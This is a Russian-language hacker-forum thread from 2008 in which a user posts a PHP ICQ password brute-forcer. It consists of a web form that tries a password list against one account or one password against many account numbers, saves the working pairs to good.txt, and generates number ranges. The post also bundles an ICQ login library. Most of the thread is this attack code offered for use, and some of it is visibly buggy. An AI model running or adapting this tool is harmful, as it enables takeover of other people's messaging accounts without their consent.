Брут Icq [php]

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by luz3r, 26 Sep 2008.

  1. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
    PHP:
    <?   
    $good="good.txt";  
    $bad="bad.txt";     
    $pass="pass.txt";  
    $stop="stop.txt";  
    set_time_limit(0);  
    ignore_user_abort(1);  
    error_reporting(0);  
    if (
    file_exists($stop))  
        {  
        echo 
    "Уберите файл".$stop."для начала брута.";  
        exit();  
    }  

    $icq     = new WebIcqLite();  
    if(!empty(
    $_GET["icq"]) && $_GET["brute2"])   
    {  
    $files= file($pass);  
    $icq=$_GET['icq'];  
    for(
    $i = 0; $i <= count($files); $i++)  
        {  
            
    $file = trim($files[$i]);  
            list(
    $pass1) = explode("\r\n", $file);  
                if(!
    $icq->connect($icq, $pass1[$i]))  
                     {  
                        
    $bads = fopen($bad, 'ab');  
                           
    fwrite($bads, $icq.";".$pass1."\r\n");  
                           
    fclose($bads);  
                      }  
                      else  
                      {  
                    
    $god = fopen($good, 'ab');  
                       
    fwrite($god,$icq.";".$pass1."\r\n");  
                       
    fclose($god);  
                       
    usleep(100);  
                    }  
        }  
    }  
    elseif(!empty(
    $_GET["pass"]) && $_GET["brute"])   
    {  

    $file1="uins.txt";  
    $files= file($file1);  
    $pass=$_GET['pass'];  
    for(
    $i = 0; $i <= count($files); $i++)  
        {  
            
    $file = trim($files[$i]);  
            list(
    $uin) = explode("\r\n", $file);  
                if(!
    $icq->connect($uin, $_GET['pass']))  
                     {  
                        
    $bads = fopen($bad, 'ab');  
                           
    fwrite($bads, $uin."\r\n");  
                           
    fclose($bads);  
                      }  
                      else  
                      {  
                    
    $god = fopen($good, 'ab');  
                       
    fwrite($god, $uin.";".$_POST['pass']."\r\n");  
                       
    fclose($god);  
                       
    usleep(100);  
                    }  
        }  
    }  
    else  
    {  
    ?>  
    <html>  
    <head><title>Pro-Html-Php ICQ-Brute version 1.5</title>  
        <meta http-equiv='Content-Type' content='text/html; charset=windows-1251' />  
    </head>  
        <style>  
            html, * {  
            background-color: #706A58;  
            color: white;  
            font-size: 11px;  
            font-family: Tahoma;  
            }  
              
            input, textarea {  
            border: solid 1px;  
            border-color:#FF0000;  
            }  
            pre{  
            font-size: 12px;  
            font-family: Tahoma;  
            }  
            div{  
            font-size: 20px;  
            font-family: Tahoma;  
            background-color: #000033;  
            }  
        </style>  
    <body>  

    <CENTER><div>Pro-Html-Php ICQ-Brute version 1.5</div></CENTER>  
    <CENTER><p><fieldset><legend>Брут:</legend>  

    <form method="GET">  
        Введите пароль, который будет брутиться <br/>ко всем номерам в файле uins.txt<br/>  
        <input name="pass" value=""/><br/><BR>  
        <INPUT TYPE="hidden" name="brute" value="1">  
        <input type="submit" value="Начать брут"/>  
        </form><P>  
    <form method="GET">  
        Введите icq номер <br/>к которому будут подбераться пароли из <?echo $pass;?><br/>  
        <input name="icq" value=""/><br/><BR>  
        <INPUT TYPE="hidden" name="brute2" value="1">  
        <input type="submit" value="Начать брут"/>  
        </form><P>  
        </fieldset>  
    <BR>  
            <p><fieldset><legend>Генератор:</legend><form method="GET">Начальный номер:  <P>  
              <input type="text" name="uin_start" />   
            </p>   
            <p>Конечный номер: <BR>  
              <input type="text" name="uin_end" />   
              <INPUT TYPE="hidden" name="gen" value="1">  
    </p>   
                     <p>  
                     <?  
        
    if(!empty($_GET["uin_start"]) && $_GET["gen"]) {  
         
    $uin1=$_GET["uin_start"];   
        
    $uin2=$_GET["uin_end"];   
        
    $gen = fopen("uins.txt", 'a+');  
    for(
    $uinR = $uin1; $uinR <= $uin2; $uinR++)  
            {              
            
    fwrite($gen, $uins.";".$pass."\r\n");  
            }  
         echo 
    "Done.";  
         
    fclose($gen);  
    }   
    ?></p> <p>   
              <input type="submit" value="Генирировать" />   
            </fieldset></p> </form>  
                    <?php  
        $file
    ="uins.txt";  
    $open=file($file);  
    $open_1=file('bad.txt');  
    $open_2=file('good.txt');  
        if (isset(
    $_GET["clean"]) && $_GET["clean"] == "uins") {  
            
    $handle = fopen($file, "w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$file." очищен</b><br><br>";  
        }  
        if (isset(
    $_GET["clean"]) && $_GET["clean"] == "bad") {  
            
    $handle = fopen($bad, "w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$bad." очищен</b><br><br>";  
        }  
            if (isset(
    $_GET["clean"]) && $_GET["clean"] == "good") {  
            
    $handle = fopen($good, "w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$good." очищен</b><br><br>";  
        }  
        if(!
    file_exists($file))  
        {  
            echo 
    "Необходимо создать файл <font style='color: #ED63A5'>".$file."</font> и вписать в него номера для брута<br />";  
        } else {  
            if(
    filesize($file) == 0 )  
            {  
                echo 
    "Файл <font style='color: #ED63A5'>".$file."</font> пустой...необходимо вписать в него номера для брута<br />";  
            } else {  
                echo 
    "Файл <font style='color: #ED63A5'>".$file."</font> имеет ".count($open)." номеров<br /><A HREF=\"?clean=uins\">Очистить файл</A><BR>";  
                echo 
    "Файл <font style='color: #ED63A5'>bad.txt</font> имеет ".count($open_1)." номеров<br /><A HREF=\"?clean=bad\">Очистить файл</A><BR>";  
                echo 
    "Файл <font style='color: #ED63A5'>good.txt</font> имеет ".count($open_2)." номеров<br /><A HREF=\"?clean=good\">Очистить файл</A><BR>";  
            }  
            if(
    filesize($good) == 0 )  
            {echo 
    "Ещё ничего не сбручено!<P><BR>";}  
            else{echo 
    "Сбручено ".count($open_2)." номера(ов).<br><pre>".file_get_contents($good)."</pre><BR><P>";}  
        }  
        
    ?>  

    All for <A HREF="http://Antichat.ru">Antichat.ru</A>.</CENTER>  
    </body>  
    </html>  
    <?  
    }  
    PHP:
    ?>  
    <?php  
    /*  
    * WebIcqLite: ICQ messages sender. v3.2b  
    * (C) 2006 Sergey Akudovich, http://intrigue.ru/  
    *  
    * This library is free software; you can redistribute it and/or  
    * modify it under the terms of the GNU Lesser General Public  
    * License as published by the Free Software Foundation; either  
    * version 2.1 of the License, or (at your option) any later version.  
    * See http://www.gnu.org/copyleft/lesser.html  
    *  
    */  

    class WebIcqLite_TLV {  
        var 
    $type;  
        var 
    $size;  
        var 
    $error;  

        var 
    $types = array  
        (  
            
    'UIN'                 =>  1, // 0x01  
            
    'DATA'                =>  2, // 0x02  
            
    'CLIENT'            =>  3, // 0x03  
            
    'ERROR_URL'            =>  4, // 0x04  
            
    'RECONECT_HERE'        =>  5, // 0x05  
            
    'COOKIE'            =>  6, // 0x06  
            
    'SNAC_VERSION'        =>  7, // 0x07  
            
    'ERROR_SUBCODE'        =>  8, // 0x08  
            
    'DISCONECT_REASON'    =>  9, // 0x09  
            
    'RECONECT_HOST'        => 10, // 0x0A  
            
    'URL'                => 11, // 0x0B  
            
    'DEBUG_DATA'        => 12, // 0x0C  
            
    'SERVICE'            => 13, // 0x0D  
            
    'CLIENT_COUNTRY'    => 14, // 0x0E  
            
    'CLIENT_LNG'        => 15, // 0x0F  
            
    'SCRIPT'            => 16, // 0x10  
            
    'USER_EMAIL'        => 17, // 0x11  
            
    'OLD_PASSWORD'        => 18, // 0x12  
            
    'REG_STATUS'        => 19, // 0x13  
            
    'DISTRIB_NUMBER'    => 20, // 0x14  
            
    'PERSONAL_TEXT'        => 21, // 0x15  
            
    'CLIENT_ID'            => 22, // 0x16  
            
    'CLI_MAJOR_VER'     => 23, // 0x17  
            
    'CLI_MINOR_VER'     => 24, // 0x18  
            
    'CLI_LESSER_VER'     => 25, // 0x19  
            
    'CLI_BUILD_NUMBER'    => 26, // 0x1A  
    //        'PASSWORD'            => 37  
        
    );  

        function 
    setTLV($type, $value, $length = false)  
        {  
            switch (
    $length)  
            {  
                case 
    1:  
                    
    $format = 'c';  
                    break;  
                case 
    2:  
                    
    $format = 'n';  
                    break;  
                case 
    4:  
                    
    $format = 'N';  
                    break;  
                default:  
                    
    $format = 'a*';  
                    break;  
            }  
            if (
    $length === false)  
            {  
                
    $length = strlen($value);  
            }  
            return 
    pack('nn'.$format, $this->types[$type], $length, $value);  
        }  

        function 
    getTLV($data)  
        {  
            
    $arr = unpack('n2', substr($data, 0, 4));  
            
    $this->type = $arr[1];  
            
    $this->size = $arr[2];  
            return 
    substr($data, 4, $this->size);  
        }  

        function 
    getTLVFragment($data)  
        {  
            
    $frg = unpack('cid/cversion/nsize', substr($data, 0, 4));  
            
    $frg['data'] = substr($data, 4, $frg['size']);  
            return 
    $frg;  
        }  
    }  

    class 
    WebIcqLite_SNAC extends WebIcqLite_TLV {  

        var 
    $request_id = 0;  
        var 
    $uin;  

        function 
    setSNAC0102()  
        {  
            
    $this->request_id++;  
            
    $out = pack('nnnN', 1, 2, 0, $this->request_id);  
            
    $out .= pack('n*', 1, 3, 272, 650);  
            
    $out .= pack('n*', 2, 1, 272, 650);  
            
    $out .= pack('n*', 3, 1, 272, 650);  
            
    $out .= pack('n*', 21, 1, 272, 650);  
            
    $out .= pack('n*', 4, 1, 272, 650);  
            
    $out .= pack('n*', 6, 1, 272, 650);  
            
    $out .= pack('n*', 9, 1, 272, 650);  
            
    $out .= pack('n*', 10, 1, 272, 650);  

            return 
    $out;  
        }  

        function 
    setSNAC0406($uin, $message)  
        {  
            
    $this->request_id++;  
            
    $cookie = microtime();  
            
    $out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 2, strlen($uin), $uin);  

            
    $capabilities = pack('H*', '094613494C7F11D18222444553540000'); // utf-8 support  
            // '97B12751243C4334AD22D6ABF73F1492' rtf support  

            
    $data = pack('nd', 0, $cookie).$capabilities;  
            
    $data .= pack('nnn', 10, 2, 1);  
            
    $data .= pack('nn', 15, 0);  
            
    $data .= pack('nnvvddnVn', 10001, strlen($message)+62, 27, 8, 0, 0, 0, 3, $this->request_id);  
            
    $data .= pack('nndnn', 14, $this->request_id, 0, 0, 0); //45  
            
    $data .= pack('ncvnva*', 1, 0, 0, 1, (strlen($message)+1), $message);  
            
    $data .= pack('H*', '0000000000FFFFFF00');  
            
    $out .= $this->setTLV('RECONECT_HERE', $data);  
            
    $out .= $this->setTLV('CLIENT', '');  
            return 
    $out;  
        }  

        function 
    setSNAC0406offline($uin, $message)  
        {  
            
    $this->request_id++;  
            
    $cookie = microtime();  
            
    $out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 1, strlen($uin), $uin);  

            
    $data = pack('ccnc', 5, 1, 1, 1);  
            
    $data .= pack('ccnnna*', 1, 1, strlen($message)+4, 3, 0, $message);  
            
    $out .= $this->setTLV('DATA', $data);  
            
    $out .= $this->setTLV('CLIENT', '');  
            
    $out .= $this->setTLV('COOKIE', '');  
            return 
    $out;  
        }  

        function 
    getSNAC0407($body)  
        {  
            if (
    strlen($body))  
            {  
                
    $msg = unpack('nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize', $body);  
                if (
    $msg['family'] == 4 && $msg['subtype'] == 7)  
                {  
                    
    $body = substr($body, 21);  
                    
    $from = substr($body, 0, $msg['namesize']);  
                    
    $channel = $msg['channel'];  
                    
    $body = substr($body, $msg['namesize']);  
                    
    $msg = unpack('nwarnlevel/nTLVnumber', $body);  
                    
    $body = substr($body, 4);  
                    for (
    $i = 0; $i <= $msg['TLVnumber']; $i++)  
                    {  
                        
    $part = $this->getTLV($body);  
                        
    $body = substr($body, 4 + $this->size);  
                        if (
    $channel == 1 && $this->type == 2)  
                        {  
                            while (
    strlen($part))  
                            {  
                                
    $frg = $this->getTLVFragment($part);  
                                if (
    $frg['id'] == 1 && $frg['version'] == 1)  
                                {  
                                    return array(
    'from' => $from, 'message' => substr($frg['data'], 4));  
                                }  
                                
    $part = substr($part, 4+$frg['size']);  
                            }  
                            return 
    false;  
                        }  
                    }  
                }  
            }  
            return 
    false;  
        }  
        function 
    dump($str)  
        {  
            
    $f = fopen('dump', 'a');  
            
    fwrite($f, $str);  
            
    fclose($f);  
        }  

    }  

    class 
    WebIcqLite_FLAP extends WebIcqLite_SNAC{  

        var 
    $socet;  
        var 
    $command = 0x2A;  
        var 
    $channel;  
        var 
    $sequence;  
        var 
    $body;  
        var 
    $info = array();  
        var 
    $size_flap;  
    PHP:
        function WebIcqLite_FLAP() {  
            
    $this->sequence = rand(1, 30000);  
        }  

        function 
    getFLAP()  
        {  
            if(
    $this->socet && !socket_last_error($this->socet))  
            {  
                
    $header = socket_read($this->socet, 6);  
                if (
    $header)  
                {  
                    
    $header = unpack('c2channel/n2size', $header);  
                    
    $this->channel = $header['channel2'];  
                    
    $this->size_flap = $header['size2'];  
                    
    $this->body = socket_read($this->socet, $header['size2']);  
                    return 
    true;  
                }  
                else  
                {  
                    return 
    false;  
                }  
            }  
        }  

        function 
    parseCookieFLAP()  
        {  
            
    $this->getFLAP();  
            
    $this->info = array();  
            while(
    $this->body != '')  
            {  
                
    $info = $this->getTLV($this->body);  
                
    $key = array_search($this->type, $this->types);  
                if(
    $key)  
                {  
                    
    $this->info[$key] = $info;  
                }  
                
    $this->body = substr($this->body, ($this->size+4));  
            }  
        }  

        function 
    parseAnswerFLAP()  
        {  
            
    $this->getFLAP();  
            
    $array = unpack('n3int/Nint', $this->body);  
            while (
    $array['int'] != $this->request_id)  
            {  
                
    $this->getFLAP();  
                
    $array = unpack('n3int/Nint', $this->body);  
            }  

            
    $this->error = 'Unknown serwer answer';  
            if (
    $array['int1'] == 4)  
            {  
                switch (
    $array['int2'])  
                {  
                    case 
    1:  
                            
    $this->error = 'Error to sent message';  
                            return 
    false;  
                        break;  
                    case 
    0x0c:  
                            return 
    true;  
                        break;  
                }  
            }  

            
    $this->error = 'Unknown serwer answer';  
            return 
    false;  
        }  

        function 
    prepare()  
        {  
            
    $this->sequence++;  
            
    $out = pack('ccnn', $this->command, $this->channel, $this->sequence, strlen($this->body)).$this->body;  
            return 
    $out;  
        }  

        function 
    login($uin, $password)  
        {  
            
    $this->getFLAP();  
            
    $this->uin = $uin;  
            
    $this->body .= $this->setTLV('UIN',                 "$uin");  
            
    $this->body .= $this->setTLV('DATA',                 $this->xorpass($password));  
            
    $this->body .= $this->setTLV('CLIENT',                 'ICQBasic');  
            
    $this->body .= $this->setTLV('CLIENT_ID',             266, 2);  
            
    $this->body .= $this->setTLV('CLI_MAJOR_VER',         20, 2);  
            
    $this->body .= $this->setTLV('CLI_MINOR_VER',         34, 2);  
            
    $this->body .= $this->setTLV('CLI_LESSER_VER',         0, 2);  
            
    $this->body .= $this->setTLV('CLI_BUILD_NUMBER',     2321, 2);  
            
    $this->body .= $this->setTLV('DISTRIB_NUMBER',         1085, 4);  
            
    $this->body .= $this->setTLV('CLIENT_LNG',             'en');  
            
    $this->body .= $this->setTLV('CLIENT_COUNTRY',         'us');  


            
    $this->channel = 1;  
            
    $pack = $this->prepare();  
            
    socket_write($this->socet, $pack, strlen($pack));  
            
    $this->parseCookieFLAP();  
            return (
    $this->size_flap > 0x100) ? true : false;  

            
    $this->body = 0x0000;  
            
    $pack = $this->prepare();  
            
    socket_write($this->socet, $pack, strlen($pack));  
            
    $this->close();  

            if(isset(
    $this->info['RECONECT_HERE']))  
            {  
                
    $url = explode(':', $this->info['RECONECT_HERE']);  
                if(!
    $this->open($url))  
                {  
                    
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'Unable to reconnect';  
                    return 
    false;  
                }  
            }  
            else  
            {  
                
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'UIN blocked, please try again 20 min later.';  
                return 
    false;  
            }  

            
    $this->getFLAP();  
            
    $this->body .= $this->setTLV('COOKIE', $this->info['COOKIE']);  
            
    $pack = $this->prepare();  
            if (!
    socket_write($this->socet, $pack, strlen($pack)))  
            {  
                
    $this->error = 'Can`t send cookie, server close connection';  
                return 
    false;  
            }  
            
    $this->getFLAP();  
            
    $this->body = $this->setSNAC0102();  
            
    $pack = $this->prepare();  
            if (!
    socket_write($this->socet, $pack, strlen($pack)))  
            {  
                
    $this->error = 'Can`t send ready signal, server close connection';  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    write_message($uin, $message)  
        {  
            
    $this->body = $this->setSNAC0406($uin, $message);  
            
    $pack = $this->prepare();  
            if (!
    socket_write($this->socet, $pack, strlen($pack)))  
            {  
                
    $this->error = 'Can`t send message, server close connection';  
                return 
    false;  
            }  
            if (! 
    $this->parseAnswerFLAP()) {  
                
    // try to send offline message  

                
    $this->body = $this->setSNAC0406offline($uin, $message);  
                
    $pack = $this->prepare();  
                if (!
    socket_write($this->socet, $pack, strlen($pack)))  
                {  
                    
    $this->error = 'Can`t send offline message, server close connection';  
                    return 
    false;  
                }  
                if (! 
    $this->parseAnswerFLAP())  
                {  
                    return 
    false;  
                }  
                else  
                {  
                    
    $this->error = 'Client is offline. Message sent to server.';  
                    return 
    false;  
                }  
            }  

            return 
    true;  
        }  

        function 
    read_message()  
        {  
            while(
    $this->getFLAP())  
            {  
                
    $message = $this->getSNAC0407($this->body);  
                if(
    $message){  
                    return 
    $message;  
                }  
            }  
            return 
    false;  
        }  

        function 
    xorpass($pass)  
        {  
            
    $roast = array(0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7c);  
            
    $roasting_pass = '';  
            for (
    $i=0; $i<strlen($pass); $i++)  
            {  
                
    $roasting_pass .= chr($roast[$i] ^ ord($pass{$i}));  
            }  
            return(
    $roasting_pass);  
        }  

        function 
    open($url = array('login.icq.com', 5190))  
        {  
            
    $this->socet = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
            if (
    $this->socet < 0 || $this->socet === false)  
            {  
                
    $this->error = "socket_create() failed: reason: " . socket_strerror($this->socet);  
                return 
    false;  
            }  
            
    $result = socket_connect($this->socet, gethostbyname($url[0]), $url[1]);  
            if (
    $result < 0 || $result === false)  
            {  
                
    $this->error = "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket));  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    close()  
        {  
            return 
    socket_close($this->socet);  
        }  
    }  

    class 
    WebIcqLite extends WebIcqLite_FLAP {  

        function 
    WebIcqLite ()  
        {  
            
    $this->WebIcqLite_FLAP();  
        }  

        function 
    is_connected()  
        {  
            if(!
    $this->socet || socket_last_error($this->socet))  
            {  
                
    $this->error = socket_strerror(socket_last_error($socket));  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    connect($uin, $pass)  
        {  
            if (!
    $this->open())  
            {  
                return 
    false;  
            }  

            return 
    $this->login($uin, $pass);  
        }  

        function 
    disconnect()  
        {  
            return 
    $this->close();  
        }  

        function 
    get_message()  
        {  
            return 
    $this->read_message();  
        }  

        function 
    send_message($uin, $message)  
        {  
            return 
    $this->write_message($uin, $message);  
        }  
    }  
    ?>
    HoRmOlD
    Скрипт для ICQ-брута + Бонус + Генератор!
    Для запуска вам надо просто ввести пароль который будет подбераться к номерам из текстового файла.
    В этой версии я сделал вам два сюрприза! Это: Генератор номеров(вам просто надо написать начальный и конечный номер для генерации!) и базу частых паролей!!

    З.Ы. Пришлось разделить из-за большого кода..
     
    #1 luz3r, 26 Sep 2008
    Last edited: 26 Sep 2008
    4 people like this.
  2. BlackDraG

    BlackDraG Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    выложи лучше целым файлом куда нить )
     
  3. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
  4. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    как там насчёт многопоточности ?
     
  5. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Это ж пхп- никакой многопоточности...:(